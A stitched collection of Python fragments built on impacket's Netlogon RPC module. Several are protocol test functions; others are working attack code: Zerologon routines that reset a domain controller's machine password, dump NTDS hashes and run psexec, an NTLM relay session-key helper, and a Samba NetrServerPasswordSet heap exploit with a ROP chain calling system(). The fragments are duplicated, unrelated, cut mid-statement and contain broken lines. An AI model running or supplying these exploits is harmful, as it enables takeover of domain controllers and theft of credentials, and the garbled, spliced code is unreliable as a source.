def __init__(self): self.target = None self.dce = None sessionKey = '\x00'*16 # prepare ServerPasswordSet request authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey) authenticator['Timestamp'] = 10 uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD() uasNewPass['Data'] = '\x00'*16 self.serverName = nrpc.PLOGONSRV_HANDLE() # ReferentID field of PrimaryName controls the uninitialized value of creds self.serverName.fields['ReferentID'] = 0 self.accountName = WSTR() request = Requester.NetrServerPasswordSet() request['PrimaryName'] = self.serverName request['AccountName'] = self.accountName request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel request['ComputerName'] = '\x00' request['Authenticator'] = authenticator request['UasNewPassword'] = uasNewPass self.request = request
def test_hNetrServerReqChallenge_hNetrServerAuthenticate(self): dce, rpctransport = self.connect() resp = nrpc.hNetrServerReqChallenge(dce, NULL, self.serverName + '\x00', '12345678') resp.dump() serverChallenge = resp['ServerChallenge'] if self.hashes == '': ntHash = None else: ntHash = unhexlify(self.hashes.split(':')[1]) sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, '12345678', serverChallenge, ntHash) ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey) resp.dump() try: resp = nrpc.hNetrServerAuthenticate( dce, NULL, self.username + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, self.serverName + '\x00', ppp) resp.dump() except Exception, e: if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0: raise
def test_NetrServerReqChallenge_hNetrServerAuthenticate2(self): dce, rpctransport = self.connect() request = nrpc.NetrServerReqChallenge() request['PrimaryName'] = NULL request['ComputerName'] = self.serverName + '\x00' request['ClientChallenge'] = '12345678' resp = dce.request(request) resp.dump() serverChallenge = resp['ServerChallenge'] if self.hashes == '': ntHash = None else: ntHash = unhexlify(self.hashes.split(':')[1]) sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, '12345678', serverChallenge, ntHash) ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey) resp = nrpc.hNetrServerAuthenticate2( dce, NULL, self.username + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, self.serverName + '\x00', ppp, 0x600FFFFF) resp.dump()
def test_hNetrServerReqChallenge_NetrServerAuthenticate2(self): dce, rpctransport = self.connect() resp = nrpc.hNetrServerReqChallenge(dce, NULL, self.serverName + '\x00', b'12345678') resp.dump() serverChallenge = resp['ServerChallenge'] if self.machineUserHashes == '': ntHash = None else: ntHash = unhexlify(self.machineUserHashes.split(':')[1]) sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, b'12345678', serverChallenge, ntHash) ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey) request = nrpc.NetrServerAuthenticate2() request['PrimaryName'] = NULL request['AccountName'] = self.machineUser + '\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel request['ComputerName'] = self.serverName + '\x00' request['ClientCredential'] = ppp request['NegotiateFlags'] = 0x600FFFFF resp = dce.request(request) resp.dump()
def test_hNetrServerReqChallenge_NetrServerAuthenticate2(self): dce, rpctransport = self.connect() resp = nrpc.hNetrServerReqChallenge(dce, self.serverName, self.machine_user, b'12345678') resp.dump() serverChallenge = resp['ServerChallenge'] bnthash = self.machine_user_bnthash or None sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, b'12345678', serverChallenge, bnthash) ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey) request = nrpc.NetrServerAuthenticate2() request['PrimaryName'] = self.serverName + '\x00' request['AccountName'] = self.machine_user + '\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel request['ComputerName'] = self.machine_user + '\x00' request['ClientCredential'] = ppp request['NegotiateFlags'] = 0x600FFFFF resp = dce.request(request) resp.dump()
def test_NetrServerReqChallenge_NetrServerAuthenticate(self): dce, rpctransport = self.connect() request = nrpc.NetrServerReqChallenge() request['PrimaryName'] = NULL request['ComputerName'] = self.serverName + '\x00' request['ClientChallenge'] = b'12345678' resp = dce.request(request) resp.dump() serverChallenge = resp['ServerChallenge'] if self.machineUserHashes == '': ntHash = None else: ntHash = unhexlify(self.machineUserHashes.split(':')[1]) sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, b'12345678', serverChallenge, ntHash) ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey) request = nrpc.NetrServerAuthenticate() request['PrimaryName'] = NULL request['AccountName'] = self.machineUser + '\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel request['ComputerName'] = self.serverName + '\x00' request['ClientCredential'] = ppp try: resp = dce.request(request) resp.dump() except Exception as e: if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0: raise
def getSessionKey(computer, domain, domainIP, hashes, serverName, authMessage) : print ("Connecting to NETLOGON service : Authenticating Server") stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % domainIP rpctransport = transport.DCERPCTransportFactory(stringBinding) ntHash = unhexlify(hashes.split(':')[1]) rpctransport.set_credentials(computer,"",domain,"",ntHash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName +"\x00",'12345678') serverChallenge = resp['ServerChallenge'] sessionKey = nrpc.ComputeSessionKeyStrongKey('','12345678',serverChallenge, ntHash) ppp = nrpc.ComputeNetlogonCredential('12345678',sessionKey) nrpc.hNetrServerAuthenticate3(dce, NULL, computer+"\x00",nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', ppp, 0x600FFFFF) clientStoredCredential = pack('<Q', unpack('<Q',ppp)[0] + 10) #SamLogonWithFlags print "Forwarding NTLM Response to DC" request = nrpc.NetrLogonSamLogonWithFlags() request['LogonServer'] = '\x00' request['ComputerName'] = serverName + '\x00' request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = authMessage['domain_name'].decode('utf-16le') request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0 request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authMessage['user_name'].decode('utf-16le') request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = '' request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = 'AAAAAAAA' #challenge request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authMessage['ntlm'] request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authMessage['lanman'] authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey) authenticator['Timestamp'] = 10 request['Authenticator'] = authenticator request['ReturnAuthenticator']['Credential'] = '\x00'*8 request['ReturnAuthenticator']['Timestamp'] = 0 request['ExtraFlags'] = 0 resp = dce.request(request) encryptedSessionKey = authMessage['session_key'] sessionKey = generateEncryptedSessionKey(resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey) print "Retrieving Session Key from DC" return sessionKey
def perform_attack(dc_handle, dc_ip, target_computer, target_da="Administrator"): # Keep authenticating until succesfull. Expected average number of attempts needed: 256. print('Performing authentication attempts...') rpc_con = None for attempt in range(0, MAX_ATTEMPTS): rpc_con, serverChallenge = try_zero_authenticate(dc_handle, dc_ip, target_computer) if rpc_con == None: print('=', end='', flush=True) else: break if rpc_con: print('\nSuccess! DC can be fully compromised by a Zerologon attack.') plaintext = b'\x00' * 8 sessionKey = nrpc.ComputeSessionKeyStrongKey('', plaintext, serverChallenge, None) ppp = nrpc.ComputeNetlogonCredential(plaintext, sessionKey) clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) CLP = nrpc.NL_TRUST_PASSWORD() CLP['Buffer'] = b'\x00' * 512 CLP['Length'] = '\x00\x00\x00\x00' blah = nrpc.hNetrServerPasswordSet2( rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', update_authenticator(clientStoredCredential, sessionKey, 0), b'\x00' * 516 ) blah.dump() import secretsdump, psexec class SDOptions: def __init__(self): self.use_vss = False self.target_ip = dc_ip self.outputfile = './dumped.tmp' self.hashes = "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" self.exec_method = "smbexec" self.just_dc = True self.just_dc_ntlm = True self.just_dc_user = target_da self.pwd_last_set = self.user_status = self.resumefile = \ self.k = self.history = self.ntds = self.sam = self.security = \ self.system = self.aesKey = self.bootkey = None self.dc_ip = dc_ip class PSOptions: def __init__(self): self.help = False dump = secretsdump.DumpSecrets(dc_ip, target_computer+'$', '', '', SDOptions()).dump() f= open("dumped.tmp.ntds").read() # print(f) hashes = ':'.join(f.split(':')[2:-3]) print(hashes) psexec = psexec.PSEXEC('powershell.exe -c Reset-ComputerMachinePassword', None, None, None, hashes=hashes, username=target_da, serviceName='f****d') psexec.run(dc_name, dc_ip) else: print('\nAttack failed. Target is probably patched.') sys.exit(1)
def connect(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) if len(self.machineUserHashes) > 0: lmhash, nthash = self.machineUserHashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.machineUser, '', self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() # dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) resp = nrpc.hNetrServerReqChallenge(dce, NULL, self.serverName + '\x00', b'12345678') resp.dump() serverChallenge = resp['ServerChallenge'] if self.machineUserHashes == '': ntHash = None else: ntHash = unhexlify(self.machineUserHashes.split(':')[1]) self.sessionKey = nrpc.ComputeSessionKeyStrongKey( '', b'12345678', serverChallenge, ntHash) ppp = nrpc.ComputeNetlogonCredential(b'12345678', self.sessionKey) try: resp = nrpc.hNetrServerAuthenticate3( dce, NULL, self.machineUser + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, self.serverName + '\x00', ppp, 0x600FFFFF) resp.dump() except Exception as e: if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0: raise self.clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) # dce.set_auth_type(RPC_C_AUTHN_NETLOGON) # dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) # dce2 = dce.alter_ctx(nrpc.MSRPC_UUID_NRPC) # dce2.set_session_key(self.sessionKey) return dce, rpctransport
def dump(self, remoteName, remoteHost): stringbinding = epm.hept_map(remoteHost, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') logging.info('StringBinding %s' % stringbinding) rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.setRemoteHost(remoteHost) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) resp = nrpc.hNetrServerReqChallenge(dce, NULL, remoteName + '\x00', b'12345678') # resp.dump() serverChallenge = resp['ServerChallenge'] ntHash = unhexlify(self.__nthash) self.sessionKey = nrpc.ComputeSessionKeyStrongKey( self.__password, b'12345678', serverChallenge, ntHash) self.ppp = nrpc.ComputeNetlogonCredential(b'12345678', self.sessionKey) try: resp = nrpc.hNetrServerAuthenticate3( dce, NULL, self.__username + '\x00', nrpc. NETLOGON_SECURE_CHANNEL_TYPE.TrustedDnsDomainSecureChannel, remoteName + '\x00', self.ppp, 0x600FFFFF) # resp.dump() except Exception as e: if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0: raise self.clientStoredCredential = pack('<Q', unpack('<Q', self.ppp)[0] + 10) return dce, rpctransport
def test_hNetrServerReqChallenge_hNetrServerAuthenticate3(self): dce, rpctransport = self.connect() resp = nrpc.hNetrServerReqChallenge(dce, self.serverName, self.machine_user, b'12345678') resp.dump() serverChallenge = resp['ServerChallenge'] bnthash = self.machine_user_bnthash or None sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, b'12345678', serverChallenge, bnthash) ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey) resp = nrpc.hNetrServerAuthenticate3( dce, self.serverName, self.machine_user, nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, self.machine_user, ppp, 0x600FFFFF) resp.dump()
def test_hNetrServerReqChallenge_hNetrServerAuthenticate3(self): dce, rpctransport = self.connect() resp = nrpc.hNetrServerReqChallenge(dce, NULL, self.serverName + '\x00', b'12345678') resp.dump() serverChallenge = resp['ServerChallenge'] if self.machineUserHashes == '': ntHash = None else: ntHash = unhexlify(self.machineUserHashes.split(':')[1]) sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, b'12345678', serverChallenge, ntHash) ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey) resp = nrpc.hNetrServerAuthenticate3(dce, NULL, self.machineUser + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel , self.serverName + '\x00', ppp, 0x600FFFFF) resp.dump()
def connect(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) if len(self.hashes) > 0: lmhash, nthash = self.hashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, self.password, self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) resp = nrpc.hNetrServerReqChallenge(dce, NULL, self.serverName + '\x00', '12345678') resp.dump() serverChallenge = resp['ServerChallenge'] if self.hashes == '': ntHash = None else: ntHash = self.hashes.split(':')[1].decode('hex') self.sessionKey = nrpc.ComputeSessionKeyStrongKey( self.password, '12345678', serverChallenge, ntHash) ppp = nrpc.ComputeNetlogonCredential('12345678', self.sessionKey) try: resp = nrpc.hNetrServerAuthenticate3( dce, NULL, self.username + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, self.serverName + '\x00', ppp, 0x600FFFFF) resp.dump() except Exception, e: if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0: raise
def authenticate(self, dce): resp = nrpc.hNetrServerReqChallenge(dce, self.serverName, self.machine_user, b'12345678') resp.dump() serverChallenge = resp['ServerChallenge'] bnthash = self.machine_user_bnthash or None self.sessionKey = nrpc.ComputeSessionKeyStrongKey( '', b'12345678', serverChallenge, bnthash) self.clientStoredCredential = nrpc.ComputeNetlogonCredential( b'12345678', self.sessionKey) try: resp = nrpc.hNetrServerAuthenticate3( dce, self.serverName, self.machine_user + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, self.machine_user, self.clientStoredCredential, 0x600FFFFF) resp.dump() except nrpc.DCERPCSessionError as e: if str(e).find("STATUS_DOWNGRADE_DETECTED") < 0: raise
def test_hNetrServerReqChallenge_hNetrServerAuthenticate(self): dce, rpctransport = self.connect() resp = nrpc.hNetrServerReqChallenge(dce, self.serverName, self.machine_user, b'12345678') resp.dump() serverChallenge = resp['ServerChallenge'] bnthash = self.machine_user_bnthash or None sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, b'12345678', serverChallenge, bnthash) ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey) resp.dump() try: nrpc.hNetrServerAuthenticate( dce, self.serverName, self.machine_user, nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, self.serverName, ppp) except DCERPCException as e: if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0: raise
def update_authenticator(self): authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential(self.clientStoredCredential, self.sessionKey) authenticator['Timestamp'] = 10 return authenticator
def netlogonSessionKey(self, authenticateMessageBlob): # Here we will use netlogon to get the signing session key logging.info("Connecting to %s NETLOGON service" % self.serverConfig.domainIp) #respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(authenticateMessageBlob) _, machineAccount = self.serverConfig.machineAccount.split('/') domainName = authenticateMessage['domain_name'].decode('utf-16le') try: serverName = machineAccount[:len(machineAccount) - 1] except: # We're in NTLMv1, not supported return STATUS_ACCESS_DENIED stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp rpctransport = transport.DCERPCTransportFactory(stringBinding) if len(self.serverConfig.machineHashes) > 0: lmhash, nthash = self.serverConfig.machineHashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00', b'12345678') serverChallenge = resp['ServerChallenge'] if self.serverConfig.machineHashes == '': ntHash = None else: ntHash = bytes.fromhex( self.serverConfig.machineHashes.split(':')[1]) sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash) ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey) nrpc.hNetrServerAuthenticate3( dce, NULL, machineAccount + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', ppp, 0x600FFFFF) clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) # Now let's try to verify the security blob against the PDC request = nrpc.NetrLogonSamLogonWithFlags() request['LogonServer'] = '\x00' request['ComputerName'] = serverName + '\x00' request[ 'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 request[ 'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation'][ 'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'LogonDomainName'] = domainName request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'ParameterControl'] = 0 request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'UserName'] = authenticateMessage['user_name'].decode('utf-16le') request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'Workstation'] = '' request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallenge'] = self.serverChallenge request['LogonInformation']['LogonNetworkTransitive'][ 'NtChallengeResponse'] = authenticateMessage['ntlm'] request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallengeResponse'] = authenticateMessage['lanman'] authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential( clientStoredCredential, sessionKey) authenticator['Timestamp'] = 10 request['Authenticator'] = authenticator request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 request['ReturnAuthenticator']['Timestamp'] = 0 request['ExtraFlags'] = 0 # request.dump() try: resp = dce.request(request) # resp.dump() except DCERPCException as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) return e.get_error_code() logging.info( "%s\\%s successfully validated through NETLOGON" % (domainName, authenticateMessage['user_name'].decode('utf-16le'))) encryptedSessionKey = authenticateMessage['session_key'] if encryptedSessionKey != b'': signingKey = generateEncryptedSessionKey( resp['ValidationInformation']['ValidationSam4'] ['UserSessionKey'], encryptedSessionKey) else: signingKey = resp['ValidationInformation']['ValidationSam4'][ 'UserSessionKey'] logging.info("SMB Signing key: %s " % signingKey.hex()) return STATUS_SUCCESS, signingKey
def perform_attack(options): # Keep authenticating until succesfull. Expected average number of attempts needed: 256. print('Performing authentication attempts...') rpc_con = None conn = SMBConnection(options.target, options.target, None, options.port) conn.login('', '') dc_handle = f"\\\\{conn.getServerName()}" target_computer = conn.getServerName() dc_ip = options.target print(dc_ip) print(target_computer) for attempt in range(0, MAX_ATTEMPTS): rpc_con, serverChallenge = try_zero_authenticate( dc_handle, dc_ip, target_computer) if rpc_con == None: print('=', end='', flush=True) else: break if rpc_con: print('\nSuccess! DC can be fully compromised by a Zerologon attack.') plaintext = b'\x00' * 8 sessionKey = nrpc.ComputeSessionKeyStrongKey('', plaintext, serverChallenge, None) ppp = nrpc.ComputeNetlogonCredential(plaintext, sessionKey) clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) print() blah = nrpc.hNetrServerPasswordSet2( rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', update_authenticator(clientStoredCredential, sessionKey, 0), b'\x00' * 516) blah.dump() # stringbinding = epm.hept_map(options.target, lsat.MSRPC_UUID_LSAT, protocol="ncacn_ip_tcp") # rpc_con = transport.DCERPCTransportFactory(stringbinding).get_dce_rpc() # rpc_con.connect() # rpc_con.bind(lsat.MSRPC_UUID_LSAT) # resp = lsad.hLsarOpenPolicy2(rpc_con, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) # sid = lsad.hLsarQueryInformationPolicy2(rpc_con, resp['PolicyHandle'], lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)['PolicyInformation']['PolicyPrimaryDomainInfo']['Sid'].formatCanonical() # print(sid) if options.silver: exit() import secretsdump, psexec class SDOptions: def __init__(self): self.use_vss = False self.target_ip = dc_ip self.outputfile = './dumped.tmp' self.hashes = "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" self.exec_method = "smbexec" self.just_dc = True self.just_dc_ntlm = True self.just_dc_user = options.target_da self.pwd_last_set = self.user_status = self.resumefile = \ self.k = self.history = self.ntds = self.sam = self.security = \ self.system = self.aesKey = self.bootkey = None self.dc_ip = dc_ip class PSOptions: def __init__(self): self.help = Falses # h = SMBConnection(options.target, options.target, None, options.port) # if options.target_machine: # h.login(options.target_machine + "$", '') # else: # h.login(target_computer + '$', '') secretsdump.DumpSecrets(dc_ip, target_computer + '$', '', '', SDOptions()).dump() f = open("dumped.tmp.ntds").read() # print(f) hashes = ':'.join(f.split(':')[2:-3]) print(hashes) psexec = psexec.PSEXEC( 'powershell.exe -c Reset-ComputerMachinePassword', None, None, None, hashes=hashes, username=options.target_da, serviceName='f****d') psexec.run(options.target, dc_ip) else: print('\nAttack failed. Target is probably patched.') sys.exit(1)
dce.bind(nrpc.MSRPC_UUID_NRPC) ### # request for session key ### #resp = nrpc.hNetrServerReqChallenge(dce, NULL, target + '\x00', '12345678') #resp.dump() #serverChallenge = resp['ServerChallenge'] #sessionKey = nrpc.ComputeSessionKeyStrongKey(password, '12345678', serverChallenge, None) sessionKey = '\x00' * 16 ### # prepare ServerPasswordSet request ### authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential( '12345678', sessionKey) authenticator['Timestamp'] = 10 uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD() uasNewPass['Data'] = '\x00' * 16 primaryName = nrpc.PLOGONSRV_HANDLE() # ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit primaryName.fields['ReferentID'] = 0x41414141 request = NetrServerPasswordSet() request['PrimaryName'] = primaryName request['AccountName'] = username + 'a\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel request['ComputerName'] = target + '\x00'
def netlogonSessionKey(self, challenge, authenticateMessageBlob): # Here we will use netlogon to get the signing session key print "[*] Connecting to %s NETLOGON service" % self.domainIp respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(respToken2['ResponseToken']) _, machineAccount = self.machineAccount.split('/') domainName = authenticateMessage['domain_name'].decode('utf-16le') try: av_pairs = authenticateMessage['ntlm'][44:] av_pairs = ntlm.AV_PAIRS(av_pairs) serverName = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode( 'utf-16le') except: # We're in NTLMv1, not supported return STATUS_ACCESS_DENIED stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp rpctransport = transport.DCERPCTransportFactory(stringBinding) if len(self.machineHashes) > 0: lmhash, nthash = self.machineHashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00', '12345678') serverChallenge = resp['ServerChallenge'] if self.machineHashes == '': ntHash = None else: ntHash = self.machineHashes.split(':')[1].decode('hex') sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678', serverChallenge, ntHash) ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey) resp = nrpc.hNetrServerAuthenticate3( dce, NULL, machineAccount + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', ppp, 0x600FFFFF) clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) # Now let's try to verify the security blob against the PDC request = nrpc.NetrLogonSamLogonWithFlags() request['LogonServer'] = '\x00' request['ComputerName'] = serverName + '\x00' request[ 'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 request[ 'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation'][ 'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'LogonDomainName'] = domainName request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'ParameterControl'] = 0 request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'UserName'] = authenticateMessage['user_name'].decode('utf-16le') request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'Workstation'] = '' request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallenge'] = challenge request['LogonInformation']['LogonNetworkTransitive'][ 'NtChallengeResponse'] = authenticateMessage['ntlm'] request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallengeResponse'] = authenticateMessage['lanman'] authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential( clientStoredCredential, sessionKey) authenticator['Timestamp'] = 10 request['Authenticator'] = authenticator request['ReturnAuthenticator']['Credential'] = '\x00' * 8 request['ReturnAuthenticator']['Timestamp'] = 0 request['ExtraFlags'] = 0 #request.dump() try: resp = dce.request(request) #resp.dump() except Exception, e: #import traceback #print traceback.print_exc() print "[!] %s " % e return e.get_error_code()
def exploit(free_addr, pie=0, destructor=-1, step=0x80): pivot = pie + pivot_o pop4ret = pie + pop4ret_o popebx = pie + popebx_o got = pie + got_o fmt = pie + fmt_o system = pie + system_o snprintf = pie + snprintf_o bss = pie + bss_o if pie != 0: destructor = pivot # struct talloc_chunk { # struct talloc_chunk *next, *prev; # struct talloc_chunk *parent, *child; # struct talloc_reference_handle *refs; // refs = 0 # talloc_destructor_t destructor; // destructor = -1: (No Crash), others: controled EIP # const char *name; # size_t size; # unsigned flags; // magic # void *poo # }; talloc_chunk = l32(0) # refs => 0 talloc_chunk += l32(destructor) # destructor => control EIP talloc_chunk += l32(pop4ret) # pop4ret talloc_chunk += 'leet' # talloc_chunk += l32(0xe8150c70) # flags => magic # ebx => got rop = l32(popebx) + l32(got) # write cmd to bss for i in xrange(len(cmd)): c = cmd[i] rop += l32(snprintf) + l32(pop4ret) rop += l32(bss + i) + l32(2) + l32(fmt) + l32(ord(c)) # system(cmd) rop += l32(system) + 'leet' + l32(bss) payload = 'deadbeef' payload += talloc_chunk * 0x1000 * step payload += 'leet' * 2 payload += rop.ljust(2560, 'C') payload += 'cafebabe' + '\0' username = '' password = '' ### # impacket does not implement NetrServerPasswordSet ### # 3.5.4.4.6 NetrServerPasswordSet (Opnum 6) class NetrServerPasswordSet(NDRCALL): opnum = 6 structure = ( ('PrimaryName', nrpc.PLOGONSRV_HANDLE), ('AccountName', WSTR), ('SecureChannelType', nrpc.NETLOGON_SECURE_CHANNEL_TYPE), ('ComputerName', WSTR), ('Authenticator', nrpc.NETLOGON_AUTHENTICATOR), ('UasNewPassword', nrpc.ENCRYPTED_NT_OWF_PASSWORD), ) class NetrServerPasswordSetResponse(NDRCALL): structure = ( ('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR), ('ErrorCode', NTSTATUS), ) nrpc.OPNUMS[6] = (NetrServerPasswordSet, NetrServerPasswordSetResponse) ### # connect to target ### rpctransport = transport.DCERPCTransportFactory( 